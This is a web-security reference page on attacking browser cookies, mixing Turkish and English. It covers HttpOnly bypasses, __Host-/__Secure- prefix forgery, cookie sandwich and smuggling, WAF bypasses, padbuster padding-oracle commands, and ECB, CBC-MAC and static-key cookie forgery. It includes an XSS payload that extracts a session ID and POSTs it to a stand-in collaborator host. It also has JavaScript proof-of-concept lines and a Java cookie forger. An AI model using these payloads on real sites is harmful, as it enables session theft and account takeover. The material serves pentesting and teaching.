Cookies Hacking

Reading time: 19 minutes

Cookie Attributes

Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:

Expires and Max-Age

Bir cookie'nin sona erme tarihi Expires özniteliği ile belirlenir. Buna karşılık Max-age özniteliği, bir cookie'nin silinene kadar geçen süreyi saniye cinsinden tanımlar. Daha modern uygulamaları yansıtması sebebiyle Max-age tercih edilmelidir.

Domain

Bir cookie'yi alacak hostlar Domain özniteliği ile belirlenir. Varsayılan olarak bu, cookie'yi veren host olarak ayarlanır ve alt alan adlarını kapsamaz. Ancak Domain özniteliği açıkça ayarlandığında, alt alan adlarını da kapsar. Bu, Domain özniteliğinin belirtilmesini daha az kısıtlayıcı bir seçenek yapar ve cookie'nin alt alan adları arasında paylaşılmasının gerekli olduğu senaryolarda faydalıdır. Örneğin, Domain=mozilla.org ayarlanması cookie'leri developer.mozilla.org gibi alt alan adlarında da erişilebilir kılar.

Path

İstenen URL'de Cookie header'ının gönderilmesi için bulunması gereken belirli bir URL yolunu Path özniteliği belirtir. Bu öznitelik / karakterini dizin ayıracı olarak kabul eder ve alt dizinlerde eşleşmelere de izin verir.

Ordering Rules

İki cookie aynı ada sahipse, gönderilmek üzere seçilen cookie şu kurallara göre belirlenir:

• İstenen URL'de en uzun path ile eşleşen cookie.
• Path'ler aynıysa en son ayarlanmış olan cookie.

SameSite

• The SameSite attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
• Strict: Restricts the cookie from being sent on third-party requests.
• Lax: Allows the cookie to be sent with GET requests initiated by third-party websites.
• None: Permits the cookie to be sent from any third-party domain.

Unutmayın, cookie'leri yapılandırırken bu öznitelikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olur.

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Dikkat: Chrome80 (feb/2019) itibarıyla SameSite özniteliği olmayan cookie'lerin varsayılan davranışı Lax olacaktır (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Uygulamanın ardından geçici olarak, Chrome'da SameSite politikası olmayan cookie'ler ilk 2 dakika boyunca None olarak işlenecek ve daha sonra üst seviye cross-site POST isteği için Lax olarak ele alınacaktır.

Cookies Flags

HttpOnly

Bu, client'ın cookie'ye erişmesini engeller (örneğin Javascript üzerinden: document.cookie)

Bypasses

• Eğer sayfa bir isteğin cevabı olarak cookie'leri gönderiyorsa (örneğin bir PHPinfo sayfasında), XSS'i suistimal ederek bu sayfaya bir istek gönderip cevaptan cookie'leri çalmak mümkündür (örnek için bkz. https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Sunucunun (eğer bu HTTP metodu mevcutsa) isteğe verdiği cevap, gönderilen cookie'leri yansıtacağından, TRACE HTTP istekleri ile bu engel aşılabilir. Bu teknik Cross-Site Tracking olarak adlandırılır.
• Modern tarayıcılar bu tekniği, JS'ten TRACE isteği gönderilmesine izin vermeyerek engeller. Ancak IE6.0 SP2 gibi belirli yazılımlarda \r\nTRACE göndermek gibi bazı bypass'lar bulunmuştur.
• Başka bir yol, tarayıcıların zero/day zafiyetlerinin istismarıdır.
• Cookie Jar overflow saldırısı gerçekleştirerek HttpOnly cookie'leri üzerine yazmak mümkündür:

Cookie Jar Overflow

• Bu cookie'leri exfiltrate etmek için Cookie Smuggling saldırısı kullanmak mümkündür
• Eğer herhangi bir sunucu tarafı endpoint ham session ID'sini HTTP yanıtında yankılıyorsa (ör. HTML yorumları içinde veya bir debug bloğunda), bir XSS gadget'ı kullanarak o endpoint'i fetch edip gizli değeri regex ile ayıklayabilir ve dışarı çıkarabilirsiniz. Örnek XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

İstek, çerezi yalnızca güvenli bir kanal üzerinden (genellikle HTTPS) iletilen bir HTTP isteğinde gönderecektir.

Çerez Önekleri

__Secure- ile başlayan çerezlerin, HTTPS ile güvence altına alınmış sayfalardan secure bayrağı ile birlikte ayarlanması gereklidir.

__Host- ile başlayan çerezler için birden fazla koşul yerine getirilmelidir:

• secure bayrağı ile ayarlanmış olmalıdır.
• HTTPS ile güvence altına alınmış bir sayfadan gelmelidir.
• Bir domain belirtilmesi yasaktır; bu, çerezlerin alt alanlara iletilmesini engeller.
• Bu çerezlerin path'i / olarak ayarlanmalıdır.

Önemle belirtmek gerekir ki __Host- ile başlayan çerezlerin üst alanlara veya alt alanlara gönderilmesine izin verilmez. Bu kısıtlama uygulama çerezlerini izole etmeye yardımcı olur. Bu nedenle tüm uygulama çerezleri için __Host- öneki kullanmak güvenlik ve izolasyonu artırmak için iyi bir uygulama olarak kabul edilebilir.

Çerezlerin üzerine yazma

Bu yüzden __Host- ön ekli çerezlerin korumasının amaçlarından biri, bunların alt alanlardan üzerine yazılmasını engellemektir. Örneğin Cookie Tossing attacks gibi saldırıları önlemek. Konuşmada Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) parser'ı kandırarak alt alanlardan __HOST- ön ekli çerezlerin ayarlanmasının mümkün olduğu gösterildi; örneğin isim başına veya başına ve sonuna "=" eklemek gibi...:

Ya da PHP'de çerez adının başına diğer karakterler eklemek mümkün olup, bu karakterler alt çizgi karakterleriyle değiştirilecek şekilde çerezlerin __HOST- üzerine yazılmasına izin veriyordu:

Unicode whitespace cookie-name smuggling (prefix forgery)

Tarayıcı ile sunucu ayrıştırmaları arasındaki uyumsuzluklardan, çerez adının başına bir Unicode boşluk kod noktası ekleyerek faydalanın. Tarayıcı isimde __Host-/__Secure- ile gerçekten başlamadığını kabul edeceğinden, alt alan adından ayarlamaya izin verir. Eğer backend çerez anahtarlarında baştaki Unicode boşluk karakterlerini kırpar/normalize ederse, korumalı ismi görecek ve yüksek ayrıcalıklı çerezi üzerine yazabilir.

• PoC, parent-domain çerezlerini ayarlayabilen bir alt alan adından:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Sorunu mümkün kılan tipik sunucu tarafı davranışları:

• Cookie anahtarlarını kırpan/normalize eden framework'ler. In Django, Python’s str.strip() removes a wide range of Unicode whitespace code points, causing the name to normalize to __Host-name.

• Yaygın olarak kırpılan kod noktaları şunlardır: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Birçok framework çakışan cookie isimlerini “last wins” şeklinde çözer, bu nedenle saldırgan kontrollü normalize edilmiş cookie değeri meşru olanın üzerine yazar.

• Tarayıcı farklılıkları önemlidir:

• Safari cookie isimlerindeki çok baytlı Unicode boşluk karakterlerini engeller (ör. U+2000'i reddeder) fakat birçok backend'in kırptığı tek baytlık U+0085 ve U+00A0'a yine de izin verir. Tarayıcılar arasında çapraz test yapın.

• Etki: Daha az güvenilen bağlamlardan (subdomains) __Host-/__Secure- cookie'larının üzerine yazılmasına izin verir; bu XSS (if reflected), CSRF token override ve session fixation ile sonuçlanabilir.

• On-the-wire vs server view örneği (isimde U+2000 mevcut):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Birçok backend parçalar/ayrıştırır ve sonra kırpar; bunun sonucu normalize edilmiş __Host-name saldırganın değerini alır.

Eski $Version=1 cookie splitting Java backend'lerinde (prefix bypass)

Bazı Java stack'leri (ör. Tomcat/Jetty-style) Cookie başlığı $Version=1 ile başladığında hâlâ RFC 2109/2965'e ait eski ayrıştırmayı etkinleştirir. Bu durum, sunucunun tek bir cookie string'ini birden fazla mantıksal cookie olarak yeniden yorumlamasına ve başlangıçta bir alt alan adından veya hatta güvenli olmayan bir kaynaktan ayarlanmış sahte bir __Host- girdisini kabul etmesine neden olabilir.

• PoC eski ayrıştırmayı zorlamak için:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Neden işe yarıyor:

• İstemci tarafı önek kontrolleri ayarlama sırasında uygulanır, ancak sunucu tarafı legacy parsing daha sonra başlığı böler ve normalleştirir; bu, __Host-/__Secure- önek garantilerinin amacını atlayabilir.

• Denenecek yerler: Tomcat, Jetty, Undertow veya hâlâ RFC 2109/2965 özniteliklerine saygı gösteren framework'ler. duplicate-name overwrite semantics ile birleştirin.

Duplicate-name last-wins overwrite primitive

İki cookie aynı ada normalleştiğinde, birçok backend (Django dahil) son geçen örneği kullanır. smuggling/legacy-splitting iki __Host-* adı ürettiğinde, saldırgan kontrollü olan genellikle kazanır.

Detection and tooling

Bu koşulları test etmek için Burp Suite kullanın:

• Birden fazla önde gelen Unicode boşluk kod noktasını deneyin: U+2000, U+0085, U+00A0 ve backend'in kırpıp adı önekli olarak muamele edip etmediğini gözlemleyin.
• Cookie header içinde önce $Version=1 gönderin ve backend'in legacy splitting/normalization yapıp yapmadığını kontrol edin.
• Aynı ada normalleşen iki cookie enjekte ederek duplicate-name çözümlemesini (ilk mi yoksa son mu kazanıyor) gözlemleyin.
• Bunu otomatikleştirmek için Burp Custom Action: CookiePrefixBypass.bambda

İpucu: Bu teknikler RFC 6265’in octet-vs-string gap’ini sömürür: tarayıcılar bytes gönderir; sunucular decode eder ve normalleştirebilir/kırpabilir. Decode etme ve normalleştirmedeki uyumsuzluklar bypass'ın özüdür.

Cookies Attacks

Özel bir cookie hassas veri içeriyorsa mutlaka kontrol edin (özellikle bir CTF oynuyorsanız), çünkü savunmasız olabilir.

Cookie'leri Çözme ve Manipüle Etme

Cookie'lere gömülü hassas veriler her zaman incelenmelidir. Base64 veya benzeri formatlarda encode edilmiş cookie'ler genellikle decode edilebilir. Bu zafiyet, saldırganların cookie içeriğini değiştirmesine ve değiştirdikleri veriyi tekrar cookie içine encode ederek diğer kullanıcıları taklit etmelerine olanak tanır.

Session Hijacking

Bu saldırı, bir kullanıcının cookie'sini çalmayı ve uygulamadaki hesabına yetkisiz erişim sağlamayı içerir. Çalınan cookie'yi kullanarak saldırgan, meşru kullanıcıyı taklit edebilir.

Session Fixation

Bu senaryoda, saldırgan kurbanı belirli bir cookie'yi kullanarak giriş yapmaya ikna eder. Uygulama girişte yeni bir cookie atamıyorsa, saldırgan elindeki orijinal cookie ile kurbanı taklit edebilir. Bu teknik, kurbanın saldırganın sağladığı cookie ile giriş yapmasına dayanır.

Eğer bir XSS bir alt domainde bulduysanız veya bir alt domaini kontrol ediyorsanız, okuyun:

Cookie Tossing

Session Donation

Burada saldırgan, kurbana saldırganın session cookie'sini kullanması için ikna eder. Kurban, kendi hesabına giriş yaptığını düşündüğü için farkında olmadan saldırganın hesabı bağlamında işlemler gerçekleştirecektir.

Eğer bir XSS bir alt domainde bulduysanız veya bir alt domaini kontrol ediyorsanız, okuyun:

Cookie Tossing

JWT Cookies

Bir önceki linke tıklayarak JWT'deki muhtemel zayıflıkları açıklayan sayfaya erişebilirsiniz.

Cookie'lerde kullanılan JSON Web Tokens (JWT) de zafiyetler barındırabilir. Olası kusurlar ve bunların nasıl sömürülebileceği hakkında derinlemesine bilgi için, hacking JWT belgesine bakmanız önerilir.

Cross-Site Request Forgery (CSRF)

Bu saldırı, oturumu açık bir kullanıcının şu anda kimlik doğrulaması yapılmış olduğu bir web uygulamasında istenmeyen işlemler gerçekleştirmesini zorlar. Saldırganlar, her istekte otomatik olarak gönderilen cookie'leri hedef site için kötüye kullanabilir.

Empty Cookies

(Check further details in theoriginal research) Tarayıcılar, adı olmayan cookie'lerin oluşturulmasına izin verir; bu, JavaScript ile şu şekilde gösterilebilir:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Gönderilen cookie header'daki sonuç a=v1; test value; b=v2;. İlginç bir şekilde, bu, boş isimli bir cookie ayarlanırsa cookie'lerin manipüle edilmesine izin verir; boş cookie'yi belirli bir değere ayarlayarak diğer cookie'leri potansiyel olarak kontrol etmek mümkün:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Bu, tarayıcının bir cookie header göndermesine yol açar; bu header her web server tarafından a adlı ve değeri b olan bir cookie olarak yorumlanır.

Chrome Bug: Unicode Surrogate Codepoint Issue

Chrome'da, eğer bir Unicode surrogate codepoint bir set cookie'nin parçasıysa, document.cookie bozulur ve sonrasında boş bir string döndürür:

document.cookie = "\ud800=meep"

Bunun sonucu olarak document.cookie boş bir dize döndürür; bu kalıcı bozulmayı gösterir.

Cookie Smuggling: Ayrıştırma Sorunları Nedeniyle

(Daha fazla ayrıntı için original research) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) sunucuları da dahil olmak üzere birçok web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini hatalı işler. Çift tırnaklı bir cookie değerini, içinde noktalı virgül olsa bile tek bir değer olarak okurlar; oysa noktalı virgüller normalde anahtar-değer çiftlerini ayırmalıdır:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Sunucuların, özellikle Undertow, Zope ve Python'un http.cookie.SimpleCookie ile http.cookie.BaseCookie kullananlarının cookie'leri yanlış parse etmesi, cookie injection saldırıları için fırsatlar yaratır. Bu sunucular yeni cookie'nin başlangıcını doğru şekilde ayırmaz; bu da saldırganların cookie spoof etmesine olanak tanır:

• Undertow, tırnaklı bir değerin hemen sonrasında noktalı virgül olmadan yeni bir cookie bekler.
• Zope, sonraki cookie'yi parse etmeye başlamak için virgül arar.
• Python'ın cookie sınıfları parse etmeye boşluk karakteriyle başlar.

Bu zafiyet, cookie tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir; çünkü saldırganların sahte CSRF-token cookie'leri enjekte etmesine ve güvenlik önlemlerini atlatmasına izin verebilir. Sorun, Python'ın aynı isimli cookie'leri ele alış biçimiyle daha da kötüleşir; burada son görünen öncekilerin üzerine yazar. Ayrıca __Secure- ve __Host- cookie'lerinin güvenli olmayan bağlamlarda kullanılmasıyla ilgili endişeler doğurur ve cookie'lerin spoof edilmeye yatkın back-end sunucularına iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.

Cookies $version

WAF Bypass

According to this blogpost, backend'in cookie'yi parse etmek için eski bir mantığı kullanmasını sağlamak amacıyla $Version=1 cookie özniteliğini kullanmak mümkün olabilir; bu durum RFC2109 ile ilgilidir. Ayrıca $Domain ve $Path gibi diğer değerler de backend davranışını cookie ile değiştirmek için kullanılabilir.

Cookie Sandwich Attack

According to this blogpost cookie sandwich technique kullanılarak HttpOnly cookie'lerin çalınması mümkündür. Gereksinimler ve adımlar şunlardır:

• Cevapta görünürde işe yaramaz bir cookie'nin yansıtıldığı bir yer bulun
• Değeri 1 olan $Version adında bir cookie oluşturun (bunu JS üzerinden bir XSS saldırısıyla yapabilirsiniz) ve daha spesifik bir path verin ki başlangıç pozisyonunu alsın (bazı framework'ler ör. Python bu adıma ihtiyaç duymaz)
• Yansıtılan cookie'yi, içinde açık çift tırnak bırakan bir değerle ve $Version'dan sonra cookie DB'de konumlanacak şekilde spesifik bir path ile oluşturun
• Ardından, gerçek cookie sıralamada bir sonraki konuma gelecektir
• Değerinin içinde çift tırnağı kapatan dummy bir cookie oluşturun

Bu şekilde, hedef cookie yeni cookie version 1'in içinde tuzağa düşer ve yansıtıldığı her seferinde yansıtılacaktır. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Önceki bölümü kontrol edin.

Bypassing value analysis with quoted-string encoding

Bu ayrıştırma, cookie'ler içindeki escape edilmiş değerlerin unescape edilmesini sağlar; bu yüzden "\a" "a" olur. Bu, WAFS'i atlatmak için şu şekilde işe yarayabilir:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

RFC2109'da virgülün cookie değerleri arasında ayraç olarak kullanılabileceği belirtilir. Ayrıca eşittikten önce ve sonra boşluklar ve tab karakterleri eklemenin mümkün olduğu söylenir. Bu nedenle $Version=1; foo=bar, abc = qux gibi bir cookie "foo":"bar, admin = qux" cookie'sini oluşturmaz; bunun yerine foo":"bar" ve "admin":"qux" cookielarını oluşturur. Nasıl 2 cookie üretildiğine ve admin'in eşittikten önce ve sonra olan boşluklarının nasıl kaldırıldığına dikkat edin.

Bypassing value analysis with cookie splitting

Son olarak, farklı backdoors, farklı cookie header'larında gönderilen farklı cookieları tek bir string içinde birleştirebilir, örneğin:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Bu, aşağıdaki örnekte olduğu gibi bir WAF'ı atlatmaya izin verebilir:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ek Zayıf Cookie Kontrolleri

Temel kontroller

• Login yaptığınız her seferde cookie aynı.
• Log out yapıp aynı cookie'yi kullanmayı dene.
• Aynı hesapta aynı cookie'yi kullanarak 2 cihaz (veya tarayıcı) ile login yapmayı dene.
• Cookie'nin içinde herhangi bir bilgi olup olmadığını kontrol et ve değiştirmeyi dene.
• Neredeyse aynı username'e sahip birkaç accounts oluşturup benzerlik görüp göremediğini kontrol et.
• Varsa "remember me" seçeneğini nasıl çalıştığını görmek için kontrol et. Eğer varsa ve zafiyetli olabilecekse, başka cookie olmadan her zaman remember me cookie'sini kullan.
• Parolayı değiştirdikten sonra önceki cookie'nin hala çalışıp çalışmadığını kontrol et.

Gelişmiş cookie saldırıları

Eğer cookie login yaptığında aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen cookie'nin account'unuzun bazı bir alanıyla (muhtemelen username) ilişkili olduğu anlamına gelir. Bu durumda şunları yapabilirsiniz:

• Çok benzer username'lere sahip çok sayıda accounts oluştur ve algoritmanın nasıl çalıştığını tahmin etmeye çalış.
• Bruteforce the username. Eğer cookie sadece authentication method olarak username için kaydediliyorsa, o zaman username'i "Bmin" olan bir account oluşturup cookie'nin her bir bitini bruteforce edebilirsin çünkü deneyeceğin cookie'lerden biri "admin"e ait olan olacaktır.
• Padding Oracle'ı dene (cookie içeriğini deşifre edebilirsin). padbuster kullan.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu (geçersiz olanı) soracaktır.

Ardından cookie'nin decrypting işlemi başlayacak (bu birkaç dakika sürebilir)

Eğer saldırı başarıyla gerçekleştirilmişse, kendi seçtiğiniz bir string'i encrypt etmeyi deneyebilirsiniz. Örneğin, eğer encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Bu işlem size içinde user=administrator dizesi bulunan, doğru şekilde şifrelenmiş ve kodlanmış çerezi verecektir.

CBC-MAC

Bir çerez belirli bir değere sahip olabilir ve CBC kullanılarak imzalanmış olabilir. Bu durumda değerin bütünlüğü, aynı değer kullanılarak CBC ile oluşturulan imzadır. IV olarak null vector kullanılması tavsiye edildiğinden, bu tür bütünlük kontrolü açık verebilir.

Saldırı

1. Kullanıcı adı administ'in imzasını al = t
2. Kullanıcı adı rator\x00\x00\x00 XOR t'nin imzasını al = t'
3. Çerezde değeri administrator+t' olarak ayarla (t', (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 için geçerli bir imza olacaktır)

ECB

Eğer çerez ECB kullanılarak şifrelenmişse, bu zayıf olabilir.
Giriş yaptığınızda aldığınız çerez her zaman aynı olur.

Nasıl tespit edilir ve saldırılır:

• Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (username, password, email vb.) ve verilen çerez içinde bir desen bulmaya çalışın.
• Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde bir desen olup olmadığını kontrol edin (ECB her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifreleniyorsa aynı şifrelenmiş baytlar tekrar edebilir).

Bir desen olmalıdır (kullanılan blok boyutunda). Birkaç "a"nın nasıl şifrelendiğini bildiğinizde şu kullanıcı adını oluşturabilirsiniz: "a"*(blok boyutu)+"admin". Ardından çerezden bir "a" bloğunun şifrelenmiş desenini silebilirsiniz. Ve elinizde "admin" kullanıcı adına ait çerez olur.

Static-key cookie forgery (symmetric encryption of predictable IDs)

Bazı uygulamalar, sadece tahmin edilebilir bir değeri (ör. sayısal kullanıcı ID'si) global, sabit kodlu bir symmetric key ile şifreleyip ardından şifre metnini (hex/base64) kodlayarak authentication cookie üretir. Eğer anahtar ürün veya kurulum başına sabit ise, herhangi bir kişi çevrimdışı olarak rastgele kullanıcılar için çerez sahteleyebilir ve kimlik doğrulamayı atlayabilir.

How to test/forge

• Kimlik doğrulamasını kontrol eden çerezi(leri) belirleyin, örn. COOKIEID ve ADMINCOOKIEID.
• Şifreleme/encoding'i tespit edin. Gerçek dünyada bir vakada uygulama IDEA kullanmış, sabit 16-byte bir key ile ve şifre metnini hex olarak döndürmüştü.
• Kendi kullanıcı ID'nizi şifreleyip verilen çerez ile karşılaştırarak doğrulayın. Eğer eşleşiyorsa, herhangi bir hedef ID için çerez oluşturabilirsiniz (1 genellikle ilk admin'e karşılık gelir).
• Sahte değeri doğrudan çerez olarak ayarlayın ve gezin; herhangi bir kimlik bilgisine gerek yoktur.

import cryptix.provider.cipher.IDEA;
import cryptix.provider.key.IDEAKeyGenerator;
import cryptix.util.core.Hex;
import java.security.Key;
import java.security.KeyException;
import java.io.UnsupportedEncodingException;

public class App {
private String ideaKey = "1234567890123456"; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA encrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
encrypt.initEncrypt(key);
} catch (KeyException e) { return null; }
if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) {
for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) {
plain = plain + " "; // space padding
}
}
byte[] encrypted = encrypt.update(plain.getBytes());
return Hex.toString(encrypted); // cookie expects hex
}

public String decode(String chiffre) {
IDEAKeyGenerator keygen = new IDEAKeyGenerator();
IDEA decrypt = new IDEA();
Key key;
try {
key = keygen.generateKey(this.ideaKey.getBytes());
decrypt.initDecrypt(key);
} catch (KeyException e) { return null; }
byte[] decrypted = decrypt.update(Hex.fromString(chiffre));
try { return new String(decrypted, "ISO_8859-1").trim(); } catch (UnsupportedEncodingException e) { return null; }
}

public void setKey(String key) { this.ideaKey = key; }
}

Referanslar

• When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
• Cookie Chaos: How to bypass __Host and __Secure cookie prefixes
• Burp Custom Action – CookiePrefixBypass.bambda